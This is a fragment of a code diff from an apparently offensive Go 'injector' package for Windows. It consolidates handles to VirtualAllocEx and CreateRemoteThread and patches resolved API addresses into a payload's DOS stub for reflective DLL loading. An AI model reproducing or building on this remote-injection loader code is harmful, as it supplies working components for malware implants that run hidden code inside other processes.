pGetProcAddress := kernel32.NewProc("GetProcAddress").Addr()
|
||||
pVirtualAlloc := kernel32.NewProc("VirtualAlloc").Addr()
|
||||
pVirtualProtect := kernel32.NewProc("VirtualProtect").Addr()
|
||||
pNtFlushIC := ntdll.NewProc("NtFlushInstructionCache").Addr()
|
||||
pLoadLibraryA := procLoadLibraryA.Addr()
|
||||
pGetProcAddress := procGetProcAddress.Addr()
|
||||
pVirtualAlloc := procVirtualAlloc.Addr()
|
||||
pVirtualProtect := procVirtualProtect.Addr()
|
||||
pNtFlushIC := procNtFlushIC.Addr()
|
||||
|
||||
if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
|
||||
pVirtualProtect == 0 || pNtFlushIC == 0 {
|
||||
@@ -268,11 +260,11 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
|
||||
writeAddr := func(off int, addr uintptr) {
|
||||
binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
|
||||
}
|
||||
writeAddr(0x40, pLoadLibraryA)
|
||||
writeAddr(0x48, pGetProcAddress)
|
||||
writeAddr(0x50, pVirtualAlloc)
|
||||
writeAddr(0x58, pVirtualProtect)
|
||||
writeAddr(0x60, pNtFlushIC)
|
||||
writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA)
|
||||
writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress)
|
||||
writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc)
|
||||
writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect)
|
||||
writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC)
|
||||
|
||||
return patched, nil
|
||||
}
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
//go:build windows
|
||||
|
||||
package injector
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Package-level lazy DLL/Proc handles. Consolidating them here avoids the
|
||||
// NewLazySystemDLL("kernel32.dll") boilerplate spread across every helper in
|
||||
// reflective_windows.go, and gives us a single place to extend when a new
|
||||
// Win32 API is needed. Matches the pattern used in filemanager/copy_windows.go.
|
||||
var (
|
||||
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
ntdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
|
||||
// Call-style procs: Win32 APIs that `golang.org/x/sys/windows` does NOT
|
||||
// provide typed wrappers for. We invoke them via LazyProc.Call.
|
||||
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
|
||||
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
|
||||
|
||||
// Address-style procs: consumed only via .Addr() by patchPreresolvedImports
|
||||
// to patch raw function pointers into the payload's DOS stub. We never Call
|
||||
// these from our own process.
|
||||
procLoadLibraryA = kernel32.NewProc("LoadLibraryA")
|
||||
procGetProcAddress = kernel32.NewProc("GetProcAddress")
|
||||
procVirtualAlloc = kernel32.NewProc("VirtualAlloc")
|
||||
procVirtualProtect = kernel32.NewProc("VirtualProtect")
|
||||
procNtFlushIC = ntdll.NewProc("NtFlushInstructionCache")
|
||||
)
|
||||
|
||||
// callBoolErr wraps the common "r1 == 0 means failure" Win32 convention.
|
||||
// Win32 GetLastError often returns ERROR_SUCCESS (errno 0) even on failure,
|
||||
// so we distinguish the "no-errno" case explicitly to avoid emitting misleading
|
||||
// "operation completed successfully" messages. We use errors.As rather than a
|
||||
// type assertion so the check stays correct if x/sys/windows ever wraps the
|
||||
// underlying errno.
|
||||
func callBoolErr(p *windows.LazyProc, args ...uintptr) (uintptr, error) {
|
||||
r, _, callErr := p.Call(args...)
|
||||
if r == 0 {
|
||||
var errno syscall.Errno
|
||||
if errors.As(callErr, &errno) && errno == 0 {
|
||||
return 0, fmt.Errorf("%s: failed (no errno)", p.Name)
|
||||
}
|
||||
return 0, fmt.Errorf("%s: %w", p.Name, callErr)
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
Reference in New Issue
Block a user